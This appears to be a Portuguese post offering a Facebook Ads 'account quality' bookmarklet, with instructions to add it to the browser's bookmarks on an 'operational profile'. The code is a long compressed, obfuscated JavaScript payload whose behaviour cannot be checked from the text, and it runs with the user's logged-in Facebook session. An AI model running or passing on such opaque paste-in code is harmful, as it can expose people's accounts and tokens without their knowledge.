Avatar
Projeto Meia-NoiteFamoso quem?

Script pra ver qualidade das contas - Facebook Ads


Screenshot 2026-07-16 135644.png


Como adicionar:


Método 1:


Com seu perfil operacional aberto, acesse o site e click + arrasteCopiado! o código do fbacc.io pra barra de favoritos, dessa forma:
0716-1.gif



Método 2:


Salve o código original no seu repertório:
Screenshot 2026-07-16 140733.png



Quando quiser adicionar a um perfil, basta copiar o código e adicionar um novo favorito. Ao invés do favorito ter um link convencional, ele deve ter o código da ferramenta:


Código original:
httos://fbacc.io/

javascript
javascript:var LZString=function(){var o=String.fromCharCode,n={};var i={decompressFromEncodedURIComponent:function(o){return null==o?"":""==o?null:(o=o.replace(/ /g,"+"),i._decompress(o.length,32,(function(i){return function(o,i){if(!n[o]){n[o]={};for(var t=0;t<o.length;t++)n[o][o.charAt(t)]=t}return n[o][i]}("ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+-$",o.charAt(i))})))},decompress:function(o){return null==o?"":""==o?null:i._decompress(o.length,32768,(function(n){return o.charCodeAt(n)}))},_decompress:function(n,i,t){var e,r,a,s,p,u,l,f=[],c=4,d=4,h=3,v="",g=[],m={val:t(0),position:i,index:1};for(e=0;e<3;e+=1)f[e]=e;for(a=0,p=Math.pow(2,2),u=1;u!=p;)s=m.val&m.position,m.position>>=1,0==m.position&&(m.position=i,m.val=t(m.index++)),a|=(s>0?1:0)*u,u<<=1;switch(a){case 0:for(a=0,p=Math.pow(2,8),u=1;u!=p;)s=m.val&m.position,m.position>>=1,0==m.position&&(m.position=i,m.val=t(m.index++)),a|=(s>0?1:0)*u,u<<=1;l=o(a);break;case 1:for(a=0,p=Math.pow(2,16),u=1;u!=p;)s=m.val&m.position,m.position>>=1,0==m.position&&(m.position=i,m.val=t(m.index++)),a|=(s>0?1:0)*u,u<<=1;l=o(a);break;case 2:return""}for(f[3]=l,r=l,g.push(l);;){if(m.index>n)return"";for(a=0,p=Math.pow(2,h),u=1;u!=p;)s=m.val&m.position,m.position>>=1,0==m.position&&(m.position=i,m.val=t(m.index++)),a|=(s>0?1:0)*u,u<<=1;switch(l=a){case 0:for(a=0,p=Math.pow(2,8),u=1;u!=p;)s=m.val&m.position,m.position>>=1,0==m.position&&(m.position=i,m.val=t(m.index++)),a|=(s>0?1:0)*u,u<<=1;f[d++]=o(a),l=d-1,c--;break;case 1:for(a=0,p=Math.pow(2,16),u=1;u!=p;)s=m.val&m.position,m.position>>=1,0==m.position&&(m.position=i,m.val=t(m.index++)),a|=(s>0?1:0)*u,u<<=1;f[d++]=o(a),l=d-1,c--;break;case 2:return g.join("")}if(0==c&&(c=Math.pow(2,h),h++),f[l])v=f[l];else{if(l!==d)return null;v=r+r.charAt(0)}g.push(v),f[d++]=r+v.charAt(0),r=v,0==--c&&(c=Math.pow(2,h),h++)}}};return i}();"function"==typeof define&&define.amd?define((function(){return LZString})):"undefined"!=typeof module&&null!=module?module.exports=LZString:"undefined"!=typeof angular&&null!=angular&&angular.module("LZString",[]).factory("LZString",(function(){return LZString}));var compressed = `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-Va6PT6fKt+64zn8Tebc-ezzDmgO+bM0BgLEBtJBbw6F3DyGuB4ZELZuZ9n6zQVI0UWLaWSNxuyxl7QSXjX2cE-QKYsWStxoq0UQrKXU6RIFClBBqMsBXI05QIgRAqRUjOlQHOUA1ErgZBXMuiJeu50eOaBNYEoATdzrOfYiRODmlzl+Z0y2oA5KQAUdbVJApUnW+OBA5o2bvgLjAnFaBgyxK4EVgweMCZEytl3Bi+dEUSjvuTOaVMaZ0xMAAKwoJoowKgFREiMP6n9tAQyaNuMoVQtB374zYFwcaDJi4vjgKj4uL0XyqBXPQLHBgelzYW5wWEJPFScDINEBgFMcbGnNBwxlGxPbOxgHwLgFPFscEGac+q3ZgByzQHwZnvgKDJkEJzqA83Kc85OYkM5AuQkMlF-IvqmhbhERiHSZ2sI3yLi11QTg1B+SqutBrw3OvqCUDokCJ4BhbKb2gnALibQo6GBY47iCHhgknfzvcoEouLfa+Nzbtq9veRQCqSAZYGUqnIY7O7gw1Aijx-3ZQjYwejfOzD3bkhrdo+x9UFU3tdIk8bWdhntAWere5+IOWrbRIqnaVuGeJPrUuz+CKkYTRVSSZ4Gj9BTQVSrtAg2nSIglD96-LV5djgFxoC0m5fofXtoPQDiRRlEREKTei9H4vifdf7cUBYO7qbchHh7-n2PpfRAj-PBB1cJNyIZRQFuNyNgSeoe0ir-v8fJ178DBWgLgk8gQZQdRf9r8D8ADWo88DAz0J4e5LRz8Zsl4ek-9b9ACz0fVLQDAQlICF9-879YD68Y4ock9E4r9CDMCSD7cz1ohT9cCQlZZ-pAZhomQ+BvoCCb9D9aDngz06ZlhL1Vwk9RpuDoDiDbdSCv0L0kDDBmDRpWDhp2DODxCiCsCZQ-sSUzYk98CqCeCYCpD7cE0k1dN3dKo1MNZp94EMDeCjDngTCMdX8GgLgOBX8nR84k81EnRbhNsddYF9CJDADHD6JhCVwZQQAaw7d6BZQpgk8J5rgaIuwEpbIOsqQdpawqRnQiAclco3dAj1C+CDBzBwRWYaAZQoc4AFlZR4QiBuw5RmxkVP8mC1CaD7CDA1cjw453x3ceAMADBCBaBcoDADR+jEgkj6iqAiBohPDRiDB2ZDgfJX8l8RiDBv40BxsXY0AkYeADABRo5xjGh6jG4HEEok1sNRj9j5jsjUh6AdcZQ4jzEo55iMjOZ5AOAWZWdkwZQ+ARj+jeQ3B3V2A5R+czjM1GpVj1ivj2dtjdirikETpaxnCPiZQPDOZBA-jk8gQE84g2AQSawwSGgITzF1i0TBBYS9jo4ES6i3jsiHjSce45iAScTgTFdCSs1ITgkucycdjKT5jSFMTmSgS8S2SmAZRwTP8SSuSoBdsqQKSrjxl6Ilje1DhVBOSNiNstsGxeTo5FT8JZRbgkV1SVskUKTo5H8iRWZc5jFOYBp1SxtUCzSDALSTFxI29zEck2MZRbJdRtR21ZxAoWN7gqRThnjIBJBooWYXSVhWZ6IRjt5s0DApFoJTFJ8pS4REhptHgnS4ZLTNA8iAhUzVj8ChQBVflbDDDw988OB2A3D4BtBkwtACYk8EzWi7CqyY45AizcDBBlc+AmQGR+z-omRPomR-pBz-oq9VVVVmE0N3wYAWMUEipVR9B1RIkxFUgiAjQDBiwWNtRtIo4itlxs9CZq9NcQ9nYc07MlQiBbgjQKyiAryUtS82BtwK9qALQitqSiQPVTyn5oBGA6RPy7MMjohYBtzGZGhSADBVVhRpymtfkY9FlgArtLQ5zkxFyAhqAUAis-VlxkBK4ipRl3wBY3A2AcUNhZ93jWwRM6AWU74tCkBTcmUtYdYNjsilMBQcK7M8KgRQARsiKZjfhUQZkmVrQWBNBlAQwXpTs-CGhgAFDmcNhSQhL6AjgpjX9XjkTWwZ4V9fh6AKLmU3Bb574m5VLURLlV42tOQIBohZAqBmLflFV1VRKmV3lzKCRJRoIkkjkyA6R4lyEAh0AGhOAYBiKTk1LPKQxnZDk0l-KyElykAlKjLWVTLwrhL1ZrD4E6tatuKUtaY1lh1CKmLOBorDL-k0qDBSroIk4KqQFzLkqQqSMcZqq+obU0ADRgBjRRcU5GUFUqEWt05WtTN2tOtusEAHTi4h9hsEQippBl4EEg1gQThsErg7hHhnhY544Qlc5GYOBNBfU7o746i6AfDYQBiIBkjP8xAFVBr+oRqpiusesiA+tiwQw85qApr9qZrCokB5qZlFq5BARlqsELg1qHhj80jxqHS3q5BTsvqDqT0MlOBtJxkMRwhiwLhxcdB-w8IYAic7qThuSay3Z9AlqjgVqwaiR1r7dibfUJSbrNgiaZS9tM00EgaMFKblEbgIbm4WaqR6aiSDZCbY9NTVS2ayaObg0ubwaNr5ixaChBas1Ga0BmbVsSbrs0BybMEzgqbDgaa+b1alad4RaeYZsXYJatapaQbdbuaDb5bDtjbhbelypmaZduc2aAAyT21W0W2Ur2n25mzbcWt2b232s29WgO8OzYvtBoauIVNrR66Gl63OAbBkCqNrEVE6NmeWTOozR8t2hkzNc0NWpFYuoOrU8uv21mhoEu0Ww7Yu65OIBQNgAPCAABNVfWdYBBJqsKngV4DEFwuEaKO41UZ0HQT2RoE6AVW6prW6yJNOfeYa9kbUVIPAU4GkiUPqfKASv61AAGzYbWmW6m3mgwBNNmRs7WFPXOLeuo0-E9I6vywSWnW4c614N8AmwGvYTm0Gu20+8+3OS+ruNmLevazQO+w68SeuE6l+86wgK6z+l5Ze-EWGj6je2sLe2EcXW4aAOEXemEfe7AL+4Gim3+2W4wx6QBlMK+kBytMBu+pgBAX1ZGjgVGzRdGwwXG2sMgMgRB8O+cPACTQKUmq27+6Wshk+uWgBqAIB6+3OStEVJ2kUZhDHTUefc6+7Qma0HHWgVQMmCmb7WmNIIwFgEJYaMgUaDIZR-FRElMXOCzLVC4HVNmZOADcFLQFctANGKRGUE0DAWxtmAaAUd+T2acGgLgAac0KYc0estgLiJAPEgaNGVxtAWfB8vXBcNfDfYZVQbfDx5ihBB8wAresfW4d3E4ARoRuOlJopoov3agODGBcwtrSo25Vu87Kwxe2cki+irBvAPGuEIvYAVR9R4JdxzQagS0DAaw6vJfN87y-0VGDc2kbcXc-c4CjYb8v2BoP8rkQCtgDZzWREsCmACCx0aCp8tAG8u8ufagifRerilJ5hRithdufp2sI5uisisgF5gpzYOq9lF5vqsqaQF5qKqBXSy7YgeeBiJeVyyJXu4AMF1q8FtwxAmUCZpgPqo+iR-W-+yhmR6h4Bm+uhofBhphpGiATJNhjhgwU4LynuJxQ+fWeFhBa0bwiaogVGSqGyuyzlxypepBoalORrYV+69kWAhoKgBE86fQbB3B4qghqgF6ZsFQOiYzA+0RkhnW1ayRp4HgHJPCCAWyW3Bob+ZV16NV+iJedJKllGtG86rho4XhlW7R5YSpytYRzWnF228hhwgl2R2hyURRk9Bm3AFR+iNRzWu7G2B7a0K6ZDN8V7T7SmBAamIx+mSIQgDsF6WsW4EwU1lUKIGIAIf7QHKx3AO660HAZhcZzx7x2AXx-xmkwJogYJ0J0eiJx86J2J+Jt8VM5JqtowHANJqAogjJxcIRCNHJvJiZ03BCm9DEGY0ij8OV95gTIZkZ+gKZmZzYY8q3I0NchBJM3ONgChbcqxIwKxQ8uzE9uaFBKpJ0BKJSKwEYwwIEKpHUc0IEEQFcLgUaMgYaG9lLeYxvQ4KpN0yUwwDvDMNoHvPvEmQffakfMd2-YDjYfY1Va5o0bxogFV08VMrgPxi11V1qIJz2+QRoBPZHH0v0nJWyLjAsVtT2s9JDLgMxkJf6T6MgEsA0UwDFvoTgCo0EJgMgBkCxiTgDljsdTgIjzVPOwtNt6TmR7gT2ogKHLgBkZTqAJgLgU4AADRDL7D7FOFnG0mk4YPY5YL4Bs8+j+mU7SCEJtX-c9pMK0z8YsN0wFE9oB3ifnM064+GkEGk+-UvSs8UJs74Ds+GhC4vUSG0waggFBGk60N5DNnY89vqcadYTk6brabboFDRkuZfPmedkWfgWWa3ONDWe0kOa2frRVG3D2bACAsudAv0TOagrwGA4Xd6qefxReb6YGeXfopSYBabiBZqw2B9d1bxY2oNaNZNbPDNaRhI9PDI5tZYZpfOvpeioJvgRm71p5vm8NcICW5iHoHNbw8tY25PROooG6JovtgamdqFcFfe5akLdMD1XbnlAVfwekFbYWsPuttId9b1ZxlSOoD63O5W6B9tepYdfCCdZ4f2-DfxS3Y0dja0aMH730a+zTZ+2MYx06UnF0fxwrdYlHbueXyOkyanc31ydEV313lYlqfaPoORGaZGsc0ZXZ47NY+Q25-ZBiyvn57gJkNgzkOFXcz59Q-bIl5gx-USGF78zXR8zF-l8rMV9C-xstBl8IG0jl5p8kI7JCLHko9cPcPF3cFwO8OUj8M4ACM15N+CMTScJtQiKiOIBiIeKKHiN5FSL6xtNsj7A9Fh-oFyOoaKkoXF9IJP1V7M3zuN4MNN8V8QMT8GWT6vmtCMDj4j1OyKm7ONBkWS3z-9dMMtUz8sMXvL46OdC6IuFt68f6MGOGLmNzJMXzOj6QCLPMXwOjmTLcLtPMWI-sbbeeKoCtIWNtLTIMDH8U4FGeIGgacEhOTxMtJH7wMn8LeWM0CuFWPuB4E0COjeGWmDB0AhgzAbAFk71fv6dVBYEQCdAMV4apJcOo9WNsi6xY01DM5lAACKdkPsPcG0g3g9ihXFPkESKK7Bi+PAf6GYyZDDQbOw0T6JwTGhtJPoZZHAHX27i1k4MVReck2Wb48AEyM9dOKxG6ZfNV2bzAZkhRGRbsd2K8ErsaHfLlcqElXVZnuVq6XMNiO0H8jsya4AUWuBzXge13AqGBIKsgbrrwOw63NU+B8RlM8xdivMKA67T5iuwYoqDHKbyKQEixUGotVQkLOeAvBOgUVEWPAXblAklaxJOq2A1iIdz-rzcoeMPQtua3H6UtEe7DHbgy3264pHBfrHgC4NzgR93BinO7oJAe4XAnuCZApMyw-BrldB+gpQLqhTBkBNEjhegG4Sn5GIOYsZZbvQE0ols74JyU9vnD0AJk8qGwI9iDzEY21Zux3fVsEKgChDVuHghHva28HhAWMoIPwXMgCEQ8ghNAVwQULCHGYn6KeR7rCFiGwUcA6qRIe3FcJ91tQYAMoX+SRhgtUhFAdIZkOyGGJrSeQmwUUJbq841hxsAADoQBLhi5ANAUB0C5DDgtqBoHm3tgPcyAaAQ1rcEWztxC2RzLdDMXbgwgO0GxTKDTFR7JUBhc3JocMJCFuC2h4QjoawyR6GB0c+sPoQ4NB46sjuBtIYdD1hGjD4R4w+7lMLqgvcekiqCgUlEraz0xWn3AoSAFoBYM-uvKAHsMw8GatIRjQnGMXGLCtD4eW3ZEQYBR4utK2NbDHpG3UbhBNGj2PHim0Ma-YSeOjPHPQEp4jsFE6TFfPT3XzTtkUTPHfPyGsJ19OejBcVmr0IBOYXeqfDQnhkz6i9XQRopXpekz689LR0Ajno6JV769M66vKAYUXdG69nRIWV0X6LN7u9QilvITtyBt5eFpwDvJfBwGd72iteafUgubzCJe9ooPvWIv71wITwg+Bww4KH3D6Fso++RYMW0Q7IJ8vRPPbPkmNd5FEEC3cZ0bWNYi59cBhfXvnaUtBM4pudfNzmYWrHsga+kSOvp0SiE9FLQaMVvhACGL40O+XYPMgWSL5b8B+J7KNH33n4YBW2S-QfvsJn4biF+QTZfuUTX6NQZQm-OfquKOF0wD+5iI-ifwHrn9ogOIaiBlEdgCQ38OIcXKk2f4t078zxS3p-3MTf8qQv-f-kAND6gDwBQoNGL6IrFwFYBXY40AgPYLIC+AqA9AaNEwHYD2xNZITrE0bJWZeiZAjupSKoGaChuHzegcOkYGYBd2LAngGwMtDMDlgm5Lges14H1dfyQg7kCIMOZHM6iJzTrtIJ65XNaQNzB8ooKvjKC-qa7Ybj02+a-NmcpIZFgyyMGzxoWpguFokIsFWC+oNgjqjjCUqcicRPIvke0IFFdDDAek9EbUO1bH0oR3I3kXCPh7Ejoh0wskbMniE6BEh7yTYd6h2Hu8shZRafjaXyEXdjhHYU4R9QqEvcqhrLOyT-XB6OSeAZklyRZLtZIirJBgHobZK1ZJSGhpk5yQSNcmRCSRz3E2k5TmFd15UFglYWsO3AbCDBWwwKazGCk5CCxnMa8TBCimlCPqFwq4RABuEwg7hPKG0k8K7DiRXhiQd4Z8O+EGS0M9qMekCM7QtwsoPDXhhCMxEOSuRqU4qRdzGGbdMp23cIKiN5DoicAJk3mntPMkIi3JtPGYU5QQpUjRWaAVOHPVpFtY6Q9ABkUyJwYsjZqe9BkRq27plRgAvsVnJoEh7Pjbgh0E5DDMOj9NDg0CR2JwFsBEgYiWtJRB2DhAGNCeL8KwI1OBlEAdi78NWDigjZwAo2WPfGDj1lF4z02Co+iKT1xwU90R1PVPhOyyY6it8zPA0a8gdEMFAx5opSg6JtGDj8QdomFA6NC7S9vRIsrZDLLi7CyIAGvAWcmI0IBiJZYWQ3qLI1lFE0xEYtwlGM8J29YxvheMYmOln6z2iaYz3pEUzFEBfecRXMbyBERWBqANIMRLqGxlsB3ZbAUsQEAzw4CbZlYk0cKhbERIHRGfbWVn3CFbI2xocuAml2QydjJ83Y0vurPrG2zE0yaavrph6ryC3RHZMcd0Wb5TiLqs4zEp305jd82gG4q8bABTJb8POCnI8eaTqAHiMAxMpfjBL1nZyOyiE9OcaEEDfRlCo8-6HwBljMERyw0BkPYJDkDzk5nAfAQRJTBETuxJErZORN6ZySqJm7CUduzonypZmdIUrh+WYlMpq8rElZtV24EbM5kXEwQcaGa6tcT54g05pIPOYyCT5cgySTCkeavIZJqg9QSN0UnaClKug0FgYNarqT9AJg2FhRVYi6SGWfwwyQvKSguVpmgqDYBYP9kSBVQpCZcEQF+DcoHY3w76csG5SEBQk5JXVLcGtwbSMFooTOmvQZGyMdBSUDYA83e7vTPpI1b6VQB+7ysAZv1JVrqnZGgz7MEM-CFDKCEIywAT4nQLDMUVIzTU50bkAgA-AFBn4Dwz+Vd1bakzyZ8LSmdTKlHY9HsyMVoOMFSDJgpgxsIYGWyBx6L3CWi+wOzPVHJiuZDPGdnzMypZyrRDY4QuHPlnrp+5gS90eLNNHkApZUcpOdIUdFyyeesvRWfEroIeiVZas62UvISVazolgyIMUVgTB9iwxFvFwpGI8LN8DA9vC2f4SrybBilaSivh71XAZjoi2Y7QAHz9l1BPZjnGAD7JoTdKrAgcmPoXMaU5Lj8ISmsfHICXFz0+TY2OdZnCVzL4+nU4vkIo8FTc2eTSs+rnIHH5LhxKWa0KOIb7jjy504qufOMzG1ylxac4spPybnD85+rc6Ze3OdKdyW53c61r3MgFKZxlESweV2SQk8BR54876JPOnmjRZ588sZTaFwmrzCBhE5spvJe4Lyd5ZFSiRu2Qq0TsFV8hiUxKyocCb5VXHgDVwflUIn5jXF+cILflXyP5wki5r-PEn3lkxryQBTCmtDALMVGg+ij8wgV-Lh2ymaBUoFgXTwNJdILSRdgaXDtcFSwnGHpLQV2DYVGHLBYSvgQWCoeaAYPhzAIWIJiFpC06OdG+GaLeQG0sgMwvyVpZ+mVDBQF3B0FssbQDWafAql4V3U7qlUHtBsvLhytmReDQGeItbbmh9qIMleO8hkX7VoZyiuGRfzQAqKvxyMh2D2j7TexqIY9TqY1K9UDQjFKAKVQGFMWSjDA0o60FYrGBFRcMWi-LGwAcWRAFguiZYPAASjUAjASa4EogSMDvxECFmZGBHMU7GxMusARGKtwkW9qDAntQSA8QXChS8hUqBtUwGoDsc+hi7H4VTILUxtaZj2JUfj1TaMzjGpjcxpYx8bIxM1JM4wIgSbXIxg1J69+JVy4CUKOw-aj6tlyBCDq8uLdNugKvG7DND5yVORJ4pN7eLtRjPWdiz0JWFMdllXJPLqFOAmdtIoZdWMliOV58dl-YqvrHMOVzJjlOy0uU33dwVy2+c4-ojXIxa3Kf0K4h5euM+U9q3l68RJs8q+VHi+5llf5SsvtxDzeioKoLuCqnmjQZ5n0OeQvOlVFyQxy8vCXWURXrzkVxoLeSfLr5ZcIcmfVpm+o6agaAMYCmgWoLoEHyV1R83FVfKiQXlTyiQuZHezPZzjDAl7a9k+SvkmaH2T7JgC+yg5VUIAn7bUN+wgC-t-2gHdDrilA6HAm8kHN9kmToid44OvefvEh2HwPkYKMKViJhxi0GBogMeajIyULUWLrQpgBYDzjlGE8M2jizLSYDWUzruwTawgGAzg7vwpE7HMxnwEEAMguOo5YaCEkEB2d-onta1lwFoAhI2tdQLgC4qK2NrPaHUXrWstK1D43cVm4zYltKqcAmwd-QLc7lOJ958KVSJBFouoBVIFthAKOAhoq5zNWBCzS+Uyk4HGgmOPA3NJSt2Y0rRBuaelV-K65RwptyW2bRmDvLJ5U8m22BBNo2DxtmVQm2-CfLek-r+MaAQbnvKXYKTTVSkvjCpJgWoLjBmkxBfC1xQJgUF0VRVUZOXQIs5Vqk6KhyFOx1BIFndBIWquQVyrcRWqzqbqpbUAEmFkC1iMKjXoX0iWLPAHU6pXiKo04dWCgWKzdXINyAkAaiBKsZE+r-pfqsRdIGJnhIXa4MpAJDMjWxro1Ci+NeosdhJAuwQkGjUTOtY7E0AZMnNSYvFHaaaZcbXHqTGy07rM2zMpUWzK2QcyJCAG7JrqOA38zslAKxXkLMWUpLZlwmhJVEsqixLtlEy-gokpVkWjvd8E3JcrM933pllPu9JXkoN6RZY9EeihrGTKVT1jZlSmMT4Ud4Jjg5JStPemIdntK-enS12UMvfBeysENJf2VFGQyHE82IypAPnp2VVjLVkcwPW7oSUxz29MyjlZhqD1Yl84y44eT2J20F685aGguUphOU1gzluGi5e30I0Liu+JGhueRubl0aqNE-DuVYC7k9zniQxOOIJFUAYsVi5iYsJqGuAgDmMpwXUBANgmpLB9bG7sX9DaSoDGtTWzgkyCZDgqF58K-CeJuIHETUVSldFepvUHUSv12mpgXir22MSDtKm47aSvvkTb-m-A7ZlSv-K8TaVuKW7WfW-nebNgf81lQArAMDcVB3KtTVoKYqQKYdIqtSWKvgUI7F4SCnAKjqgTtUlVy6bycfJi0sKeebCgmMzs4Vs76srq3rs6v4Ur0166DG2H22KBi6Ag-1IholPEbJSuRuypnbarkYwAFDEDB+lA2OrP0zq4Qd+tdTupXSpGAbZnWzD0MJN6GcQSBqtGMOnVlI51OOHIF6Eq0+F+S1BqdjkP2G3wf0-7v6pUOWHtpuLTQ9I0Da5wgj88MlnEEYbMNjpgo4UXwwqYLhtIXEL1uzTqFg9Cp+LbQzQziMKGQ2GaIWtY0HqHzjdOPTdebqJ70w91FjSnswgCbj8uAjjfRNnUNRdN8UdbWEA205h+N2ji-EJiPXCaRMe2hAhQwOxSZ27x2moydoBt8X6joUYGwfb2wSbF9MjeAbI163WObBZNawp9Z9vyWKa7kymqQ8DuoPcqoDmPMZsz1gOZ54DBKpZsSvYlnb4EF2nifs0Ob4GpBjK+BCQZN4PNDjwO0HbQI+bUG+VtBsbiyhMogJJue8eg4EFapMGoWEqxHTUMWGhVkhaJhlqixk5uFMW2LSIxoftoxHbDpRhw4kZYDJHPBnQ2ljZKZZYKilRgDllQG5bWUjWfLByn1Tuq+HBTi9Y1O6rawnBLw2oFjLOB+rKGUK8+S0Jb0oaghLQkHKXb+r6iaJeoXM-TnkiIixsBsjUZMH8zQBamec3MVQOkROgCCVQHkyqQgjNMghsYBgU7e7lQoVTyKKTd5AHDVOmneo1OCHa3VbyKGDALzInIohZaOnqDLeM8NMODMpNHTSAeyk90VbhGUss+WRrCEdOyMnEpITM3oH0BtJRoawJU09FBDAAfgjQS0FGcDMoBnKLLDAKWaygOZmd1Z-09QbrM4L6sCZ-0wCSeA4UFUKtMUyNTWmgh7gtAUuLgx3r+rCGi9d5NYrLUfa9AuMNLabvIANGM2asKRXUUqC8Ai1a5rdfKOMY7nXAFajMB+SNSRJ5hJ5vc6uYTYvZrcG537CedeDJhzzogLnVZRGoSmpTs4YACeeQKsjSqloLYT8hdrSBSqGJyswZQSm4nmqu6PpdRAgR4AiQOIEMAlG3LbFFEkoPKi6rZN2ZP1oFpTHSLtwdRuojIk2fOv5g05poyMLYcbEti0BI40cDqBiWBZvSHmjODsOwzLIurrjw59kKOcCicBJz3qpQ0RTAtyJptf7Fc+uu0Zk89GT53dWYxaOCAIVPGqLqgPHKfRRonBcY2E3nWRN4AMAC4OaHipeIioD607Kcd4A-wWmNyJTawim586dakp6U8AFrI2pALYRpEJKBAvepc1pISC5C2guGVNgiLBCxuW7A4hULeAdC0wEwvBJSq8UlOBGYSEA73kLU4yxcBngtQaADAZgLWXjp6arD+rAq-ZvNQt100LDbJHkl4BdRUwR1RGCDC2iGkuuIgDwL1HniIx9z0jdJEw1eEcATgiMX9E+16FTRPa70ZXN9BCRTyRAlsCgHbE4R6acqKWTKwFPMuBUioxVq+aVZxgJpyrpgaq5lNqt9h6rdACwFNG-gtTNriVCADsUtgXWIAM0VMJReas8hP8y0Iw4jAFg4kkARoB7nXFygGwlQNsNIEaGYK0BNEIgGsEwCshGg2kUNkQPVAsB-WIAANxoIyFlgTMRAjMcDshi4ivlaFSNvGzAD7xsBJYn8pUHcWRto0qkdICvG0CNDmHgYm0MGGgC+ifRPoHVmGABXhiIweWRrE1drn5CdXEtiMd6CbEmuaIiATIeayYCuv-pVrC9PTUVhyoKpGcLzbAXxYEtZxlg-stuiEdEWIgaNqZMK-mujb7n6jDMxoyYxUuWNF1Km8A4oY037zkKaMYjofIFB+NTbQTfS52zk0wIrL+cGyy8vZAXH2mrCQrs8dxT4rEDCGZA6dvJUUqMDDXS7Tgeu0xbNgAJwg19vZVzIT53TLiFQcDOwniolldynE0oAnGIc8OrE6wYQysUExRzLiNXcfUQ5nk785YGxQvgGwENLyX5NOUHu4pjUAiGALZGIA0haAtwA2zAiNviWmKvt7SYXfxQQ5uVY92e6wmABL2f1BmOewWdxn6wkF-zBE8AnZRowaNLCANK1Uf2N3u7zd3u5ZVWuUi5krtjEJVA2jT2zoUATqBDh-VN2RpTyY1M-ZJ27t3uV7d6JA6gfQOYHUDiO8t